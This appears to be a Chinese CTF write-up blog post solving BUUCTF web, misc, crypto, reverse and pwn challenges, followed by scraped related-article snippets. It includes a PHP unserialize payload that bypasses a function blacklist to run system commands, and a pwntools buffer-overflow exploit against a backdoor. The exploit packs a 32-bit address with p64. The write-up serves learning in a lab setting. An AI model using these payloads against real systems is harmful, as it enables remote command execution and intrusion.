寒假2.5

news2025/2/7 8:10:40

题解

web:[网鼎杯 2020 朱雀组]phpweb

打开网址,一直在刷新,并有一段警告

翻译一下

 查看源码

 每隔五秒钟将会提交一次form1,index.php用post方式提交了两个参数func和p,func的值为date,p的值为Y-m-d h:i:s a

执行func="data"&p="Y-m-d h:i:s a"试试

?func=md5&p=123

成功

利用file_get_contents获取index.php的源码,有func的黑名单进行过滤,gettime()使用了call_user_func()执行函数func

?func=file_get_contents&p=index.php

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>

法一:构造序列化得到flag

<?php
class Test {
        var $p = "cat /flag";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
$a = new Test();
echo serialize($a);
?>

O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

payload:

 在源代码处构造,一直都是返回原界面

构造system("find / -name *flag*")  用find查找所有文件名包含flag的文件

?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";} 

 

眼睛都看花了,看了别人的wp,发现是在/tmp/flagoefiu4r93下

payload:

整不出来,尝试用readfile函数读取

func=readfile&p=/tmp/flagoefiu4r93

misc:[WUSTCTF2020]alison_likes_jojo

解压,得到一个.txt文件和两张图片

用binwalk查看一下,发现隐藏的.zip文件

binwalk -e分离文件

无法解压

010看一下是不是伪加密,不是

 用ziperello暴力破解

解压得到一串字符

一开始以为是base64编码,解码三次后得到‘killerqueen’,又结合另一张图,联想到outguess

使用outguess解密

crypto:buuctf

下载附件,是两个文档

搜索了yxx加密,有点像之前做过的异性相吸

而这里给的是明文和密文,所以应该是要让我们进行加密

先使用010将明文和密文转化为二进制(binary)

 

异或

脚本:

a='0110110001101111011101100110010101101100011011110111011001100101011011000110111101110110011001010110110001101111011101100110010101101100011011110111011001100101011011000110111101110110011001010110110001101111011101100110010101101100011011110111011001100101'
b='0000101000000011000101110000001001010110000000010001010100010001000010100001010000001110000010100001111000110000000011100000101000011110001100000000111000001010000111100011000000010100000011000001100100001101000111110001000000001110000001100000001100011000'
c=''

for i in range(len(a)):
	if(a[i]==b[i]):
		c+='0'
	else:
		c+='1'
print(c)

 再把二进制转文本

reverse:[GXYCTF2019]luck_guy

下载附件,exeinfope查看,64位无壳

 ida64打开

初始化v4为0,输入一个幸运数字储存在v4中,执行patch_me函数

 查看patch_me函数,当输入偶数时,执行get_flag函数

查看get_flag函数

使用当前时间作为随机数种子,进行 5 次随机选择,根据不同的随机数结果执行不同的操作,其中只有在随机数为 1 时才会输出标志。最后,函数返回当前某种 “保护值” 和之前获取的 “保护值” 的异或结果

分析

unsigned __int64 get_flag()
{
    unsigned int v0; // eax
    int i; // [rsp+4h] [rbp-3Ch]
    int j; // [rsp+8h] [rbp-38h]
    __int64 s; // [rsp+10h] [rbp-30h] BYREF
    char v5; // [rsp+18h] [rbp-28h]
    unsigned __int64 v6; // [rsp+38h] [rbp-8h]
 
    v6 = __readfsqword(0x28u);  // 获取当前的值(某种 "保护值")
    v0 = time(0LL);              // 获取当前时间
    srand(v0);                   // 使用当前时间作为种子初始化随机数生成器
    for (i = 0; i <= 4; ++i)     // 循环执行 5 次
    {
        switch (rand() % 200)    // 根据随机数的值决定执行哪个分支
        {
            case 1:
                puts("OK, it's flag:");   // 打印提示信息
                memset(&s, 0, 0x28uLL);   // 清空内存(将 s 初始化为零)
                strcat((char *)&s, f1);    // 将 f1 连接到 s
                strcat((char *)&s, &f2);   // 将 f2 连接到 s
                printf("%s", (const char *)&s); // 打印最终的 flag
                break;
            case 2:
                printf("Solar not like you");
                break;
            case 3:
                printf("Solar want a girlfriend");
                break;
            case 4:
                s = 0x7F666F6067756369LL;  // 将 s 设置为某个特定的长整型值
                v5 = 0;                    // 将 v5 设置为 0
                strcat(&f2, (const char *)&s); // 将 s 连接到 f2(可能是修改 f2 的内容)
                break;
            case 5:
                for (j = 0; j <= 7; ++j)  // 修改 f2 数组的内容
                {
                    if (j % 2 == 1)
                        *(&f2 + j) -= 2;  // 如果 j 是奇数,减去 2
                    else
                        --*(&f2 + j);      // 如果 j 是偶数,减去 1
                }
                break;
            default:
                puts("emmm,you can't find flag 23333");
                break;
        }
    }
    return __readfsqword(0x28u) ^ v6;  // 返回当前 "保护值" 和之前获取的值的异或结果
}

查看f1字符串 为:"GXY{do_not_"

将31行代码转换为字符串并变为小端序 为icug`ofF\x7 33行又将f2与s连接 所以f2为 "icug`of\x7F"

 case1打印flag,case4定义函数,case5进行修改加密

所以顺序是case4-->case5-->case1

代码

def main():
    f1 = "GXY{do_not_"
    f2 = list("icug`of\x7F")  # 将 f2 转换为列表,以便修改单个字符
 
    for j in range(8):  # 循环 0 到 7
        if j % 2 == 1:
            f2[j] = chr(ord(f2[j]) - 2)  # j 为奇数,减去 2
        else:
            f2[j] = chr(ord(f2[j]) - 1)  # j 为偶数,减去 1
 
    print(f"flag={f1}{''.join(f2)}")
 
if __name__ == "__main__":
    main()

 pwn:buuctf-pwn1_sctf_2016

下载附件,exeinfope查看,32位无壳

ida打开 ,main函数里有一个vuln函数

 查看vuln函数

首先,fgets 函数用来从标准输入中读取最大 31 字符(留一个位置给 \0)到数组 s 中。然后,std::string::operator=s 赋值给一个 std::string 对象 input。接下来,代码执行了一些与 std::string 相关的操作,进行了一堆乱七八糟的交换

主函数上面有个get_flag函数,点进去,有system函数

查看函数地址,后门地址0x08048F13

exp

from pwn import *
buf =remote('node5.buuoj.cn',28941)
payload = b'I'*(20)+b'aaaa'+p64(0x8048F13)
buf.sendline(payload)
buf.interactive()

最终flag

知识点

1.outguess

OutGuess 是一款通用隐写术工具,可以插入隐藏信息到数据源的冗余位中。数据源的性质与 OutGuess 的核心无关。程序依赖于数据特定的处理程序,这些处理程序将提取冗余位,并在修改后将其写回。在此版本中,PNM支持 JPEG 和 JPEG 图像格式。在下一段中,图像将用作数据对象的具体示例,尽管 OutGuess 可以使用任何类型的数据,只要提供了处理程序。

而在做题过程中,当遇见有一串字符并有一张看似多余的图片的情况时,就可以用outguess试试

安装:

sudo apt-get update

sudo apt-get install outguess

使用方式:

outguess -k “密码” -r 被加密.jpg 解密信息.txt

2.yxx加密方式

将明文转化为二进制-->准备一个密钥(一串固定的二进制字符串)-->将明文的二进制和密钥进行异或操作

所以解密的话就是反着来

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2294190.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

中国销冠,比亚迪1月销量超30万台,出口量飙升83%

近日&#xff0c;比亚迪公布的 1 月销量数据成为了汽车行业热议的焦点&#xff0c;比亚迪凭借 300538 辆的销量成绩&#xff0c;进一步巩固了其在新能源汽车市场的统治力&#xff0c;再次稳坐中国品牌汽车市场销冠宝座。 在 1 月的销售数据中&#xff0c;比亚迪王朝丨海洋系列无…

大数据sql查询速度慢有哪些原因

1.索引问题 可能缺少索引&#xff0c;也有可能是索引不生效 2.连接数配置&#xff1a;连接数过少/连接池比较小 连接数过 3.sql本身有问题&#xff0c;响应比较慢&#xff0c;比如多表 4.缓存池大小 可能是缓存问题&#xff08;命中率>99%&#xff09; 5.加了锁 6. redis&a…

2 fastAPI请求参数

1. 路径参数 (Path Parameters) 路径参数是 URL 路径的一部分&#xff0c;通常用于标识资源的唯一性。路径参数在 FastAPI 中通过在路由装饰器中使用大括号 {} 来定义。 获取路径参数的方式 from fastapi import FastAPIapp FastAPI()app.get("/items/{item_id}"…

为何实现大语言模型的高效推理以及充分释放 AI 芯片的计算能力对于企业级落地应用来说,被认为具备显著的研究价值与重要意义?

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ AI 芯片&#xff1a;为人工智能而生的 “大脑” AI 芯片&#xff0c;又称人工智能加速器或计算卡&#xff0c;是专为加速人工智能应用&#xff0c;特别是深度学习任务设计的专用集成电路&#xff08;A…

C++11详解(二) -- 引用折叠和完美转发

文章目录 2. 右值引用和移动语义2.6 类型分类&#xff08;实践中没什么用&#xff09;2.7 引用折叠2.8 完美转发2.9 引用折叠和完美转发的实例 2. 右值引用和移动语义 2.6 类型分类&#xff08;实践中没什么用&#xff09; C11以后&#xff0c;进一步对类型进行了划分&#x…

AI 编程工具—Cursor 进阶篇 文章改写生成整理爬取

AI 编程工具—Cursor 进阶篇 文章改写生成整理爬取 其实对做自媒体的人而言,整理素材其实是一件非常耗时的事情,今天我们来看一下如何使用Cursor来帮我们解决这些问题,首先我们要建一个单独的项目,因为这个项目不涉及任何代码操作,只是文字相关的事情,还有就是这个项目需…

Yageo国巨的RC系列0402封装1%电阻库来了

工作使用Cadence多年&#xff0c;很多时候麻烦的就是整理BOM&#xff0c;因为设计原理图的时候图省事&#xff0c;可能只修改value值和封装。 但是厂家&#xff0c;规格型号&#xff0c;物料描述等属性需要在最后的时候一行一行的修改&#xff0c;繁琐又容易出错&#xff0c;过…

nginx伪静态配置解释和Nginx 常见的配置

文章目录 禁止访问 runtime 和 application 目录rewrite 对 URL 进行重写或重定向301重定向root 静态资源路径处理alias 路径映射try_files 伪静态规则Nginx 配置有许多其他常见的场景和使用方式 1. **基本的反向代理配置**2. **负载均衡配置**3. **限制访问&#xff08;IP 限…

AI安全最佳实践:AI云原生开发安全评估矩阵(下)

上篇小李哥带大家一起了解了什么是AI应用云原生开发安全评估矩阵&#xff0c;并且介绍了利用该矩阵如何确定我们云上AI应用的安全评估范围&#xff0c;接下来我们将继续本系列的下篇&#xff0c;基于该安全评估矩阵设计和实施我们系统应具备的安全控制。 优先考虑的安全控制 …

Windows DeepSeek API调用基础教程-Python

DeepSeek API 调用&#x1f680; 在最近DeepSeek大火之后&#xff0c;在各个媒体上都能看到对这个大模型的报道&#xff0c;这个使用MoE的架构的大模型&#xff0c;在使用体验上&#xff0c;确实让我眼前一亮&#xff0c;我自己平时也是已经在用着GPT-o1&#xff0c;对比下来发…

达梦数据库从单主模式转换为主备模式

目录标题 达梦数据库单主转主备配置笔记前期准备服务器环境数据库安装磁盘空间 流程流程图说明 详细步骤1. 检查主库归档模式2. 配置主库配置文件dm.ini 文件dmmal.ini 文件dmarch.ini 文件 3. 备份主库数据库4. 备库配置新建备库数据库配置备库配置文件dm.ini 文件复制主库的 …

SpringUI Web高端动态交互元件库

Axure Web高端动态交互元件库是一个专为Web设计与开发领域设计的高质量资源集合&#xff0c;旨在加速原型设计和开发流程。以下是关于这个元件库的详细介绍&#xff1a; 一、概述 Axure Web高端动态交互元件库是一个集成了多种预制、高质量交互组件的工具集合。这些组件经过精…

ES冷热数据分离配置

冷热数据是根据索引创建时间来进行迁移的。一旦迁移到冷数据节点&#xff0c;则无法再恢复成热数据&#xff0c;因为热数据节点中该索引已经没有分片存在了。 基于Docker搭建ES集群,并设置冷热数据节点 配置冷热数据迁移策略 PUT https://192.168.x.xx:19200/_ilm/policy/my…

七大排序思想

目录 七大排序的时间复杂度和稳定性 排序 插入排序 简单插入排序 希尔排序 选择排序 简单选择排序 堆排序 交换排序 冒泡排序 快速排序 快排的递归实现 hoare版本的快排 挖坑法的快排 双指针法的快排 快排的非递归 归并排序 归并的递归实现 归并的非递归实现…

制作PE启动盘(内含Win11 iso镜像)

前言 本文用于记录制作PE启动盘过程&#xff0c;学习记录用&#xff0c;如有不对请指出&#xff0c;谢谢&#xff01; 参考视频&#xff1a; 1. 微PE下载&#xff1a;https://www.bilibili.com/video/BV1vT4y1n7JX/?spm_id_from333.788.top_right_bar_window_history.conte…

css字体样式与文本样式详解

目录 一、CSS字体样式 1. 字体类型&#xff08;font-family&#xff09; 2. 字体大小&#xff08;font-size&#xff09; 3. 字体粗细&#xff08;font-weight&#xff09; 4. 字体风格&#xff08;font-style&#xff09; 5. 字体颜色&#xff08;color&#xff09; 6. …

游戏引擎学习第89天

回顾 由于一直没有渲染器&#xff0c;终于决定开始动手做一个渲染器&#xff0c;虽然开始时并不确定该如何进行&#xff0c;但一旦开始做&#xff0c;发现这其实是正确的决定。因此&#xff0c;接下来可能会花一到两周的时间来编写渲染器&#xff0c;甚至可能更长时间&#xf…

Linux学习笔记16---高精度延时实验

延时函数是很常用的 API 函数&#xff0c;在前面的实验中我们使用循环来实现延时函数&#xff0c;但是使用循环来实现的延时函数不准确&#xff0c;误差会很大。虽然使用到延时函数的地方精度要求都不会很严格( 要求严格的话就使用硬件定时器了 ) &#xff0c;但是延时函数肯定…

杨氏数组中查找某一数值是否存在

判断数据是否存在于杨氏矩阵中 &#xff08;小米真题&#xff09; 题目&#xff1a;有一个数字矩阵&#xff0c;矩阵的每行从左到右是递增的&#xff0c;矩阵从上到下是递增的&#xff0c;请编写程序在这样的矩阵中查找某个数字是否存在。 要求&#xff1a;时间复杂度小于O(N) …

51单片机 02 独立按键

一、独立按键控制LED亮灭 轻触按键&#xff1a;相当于是一种电子开关&#xff0c;按下时开关接通&#xff0c;松开时开关断开&#xff0c;实现原理是通过轻触按键内部的金属弹片受力弹动来实现接通和断开。 #include <STC89C5xRC.H> void main() { // P20xFE;while(1){…